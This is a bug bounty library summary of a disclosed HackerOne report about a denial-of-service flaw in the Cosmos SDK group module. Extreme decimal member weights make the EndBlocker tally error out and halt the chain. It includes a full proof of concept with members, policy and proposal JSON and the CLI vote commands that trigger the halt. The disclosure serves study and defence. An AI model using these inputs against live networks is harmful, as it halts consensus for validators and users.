# Groups module can halt chain when handling a proposal with malicious group weights 

Unbounded group member weights let an attacker craft extreme exponents so a percentage decision policy's Quo call errors in EndBlocker, halting the Cosmos chain.

- Payout: $15,000
- Severity: high
- Program: Cosmos
- Found by: vakzz
- Disclosed: 2025-04-23
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/3018307
- Library page: https://bugbountylibrary.com/r/h1%3A3018307
- Tags: area:web3 domain:web3 impact:dos kind:bounty platform:hackerone sev:high tech:go technique:incomplete-fix technique:source-review vuln:business-logic vuln:dos vuln:governance

**Target:** x/group module PercentageDecisionPolicy tally (doTallyAndUpdate)
**Root cause:** Group member weights are unbounded decimals; yesCount.Quo(totalPowerDec) can fail with 'exponent out of range' when weights like 1e-50000 and 1e50000 are combined, and the error is unhandled in the EndBlocker tally path.
**Steps:**
1. Scaffold chain with ignite (SDK v0.50.12) and start it
2. Create group with members weights `1e-50000` and `1e50000` via members.json
3. Attach PercentageDecisionPolicy with percentage 0.5 and short voting window
4. Fund the policy address
5. Submit a proposal and have the tiny-weight member vote `VOTE_OPTION_YES`
6. EndBlocker calls doTallyAndUpdate -> Quo returns `decimal quotient error: exponent out of range` -> consensus failure
**How found:** Reviewed the patch for GHSA-x5vx-95h7-rv4p which guarded only the zero-total-power case; reasoned that Quo has other failure modes (exponent overflow in apd setExponent) and that weights are unbounded, then constructed extreme weights to trigger it.
**Exploitation:** Attacker creates a group with two members holding extreme decimal weights and a percentage policy, submits a proposal, and votes yes with the tiny-weight member. When the voting period ends, the EndBlocker tally divides yesCount by totalPower, apd returns an exponent-out-of-range error, and the node panics, halting the chain.
**Insight:** When a fix guards one error condition of a math library call, enumerate the library's other error returns (exponent range, overflow, underflow) and check whether the inputs feeding it are bounded; unbounded user-supplied decimals are a DoS surface in consensus-critical code.

## Proof of concept (copied exactly from the original report)

**Malicious group members JSON with extreme weights**

```
{
    "members": [
        {
            "address": "cosmos14xzyhnr8w098awcf8l6t57qw3qlhcwsntytvm0",
            "weight": "1e-50000"
        },
        {
            "address": "cosmos18v59wacnwz89qphdez62m6nn7qse8mgfr7m0lk",
            "weight": "1e50000"
        }
    ]
}
```

**Percentage decision policy JSON**

```
{
    "@type": "/cosmos.group.v1.PercentageDecisionPolicy",
    "percentage": "0.5",
    "windows": {
        "voting_period": "10s",
        "min_execution_period": "20s"
    }
}
```

**Proposal JSON and vote commands triggering halt**

```
{
    "group_policy_address": "cosmos17pmq7hp4upvmmveqexzuhzu64v36re3w3447n7dt46uwp594wtpsqv4fn5",
    "messages": [
        {
            "@type": "/cosmos.bank.v1beta1.MsgSend",
            "from_address": "cosmos17pmq7hp4upvmmveqexzuhzu64v36re3w3447n7dt46uwp594wtpsqv4fn5",
            "to_address": "cosmos14xzyhnr8w098awcf8l6t57qw3qlhcwsntytvm0",
            "amount": [
                {
                    "denom": "stake",
                    "amount": "10"
                }
            ]
        }
    ],
    "metadata": "",
    "title": "crash",
    "summary": "crash",
    "proposers": [
        "cosmos14xzyhnr8w098awcf8l6t57qw3qlhcwsntytvm0"
    ]
}

Submit and vote for the proposal
exampled tx group submit-proposal proposal.json --gas auto --yes
exampled tx group vote 1 cosmos14xzyhnr8w098awcf8l6t57qw3qlhcwsntytvm0 VOTE_OPTION_YES "" --gas auto --yes
```

